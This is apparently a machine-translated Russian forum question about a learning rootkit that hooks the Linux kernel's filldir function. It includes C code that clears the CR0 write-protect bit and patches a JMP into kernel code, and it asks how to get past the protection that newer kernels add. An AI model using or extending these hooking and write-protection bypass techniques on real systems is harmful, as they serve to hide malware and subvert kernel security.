Я пишу простой руткит (просто чтобы узнать, как работает ядро;)), который перехватывает функцию filldir
в ядре.
Я использую метод inline hook
- запись кода операции JMP в начале функции.
функция выглядит так -
struct sym_hook *sa;
unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
unsigned long o_cr0;
// mov rax, $addr; jmp rax
memcpy(n_code, "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0", HIJACK_SIZE);
*(unsigned long *)&n_code[2] = (unsigned long)new;
printk("Hooking function 0x%p with 0x%p\n", target, new);
memcpy(o_code, target, HIJACK_SIZE);
write_cr0(read_cr0() & (~ 0x10000));
memcpy(target, n_code, HIJACK_SIZE);
write_cr0(read_cr0() | 0x10000);
При компиляции и тестировании в Ubuntu 16.04 (ядро 4.15) все работает просто отлично, но при использовании Ubuntu 19.10 (Kernel 5.3) - я получаю cra sh каждый раз, когда я insmod
.
cra sh, потому что permissions
при записи в защищенную память - это означает (я так думаю), что строка отключения защиты от записи не работает (write_cr0(read_cr0() & (~ 0x10000));
).
Я не нашел никакой документации, объясняющей, почему она не работает в новой версии ядра, действительно ли она связана с версией ядра? или я делаю что-то не так? Я предполагаю, что в новой версии был добавлен какой-то новый метод защиты, и «старое» отключение защиты больше не работает ...
также, если это действительно проблема версии ядра, есть ли способ отключить эту защиту в новой версии ядра?
btw, попробуйте также отключить, используя этот код -
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));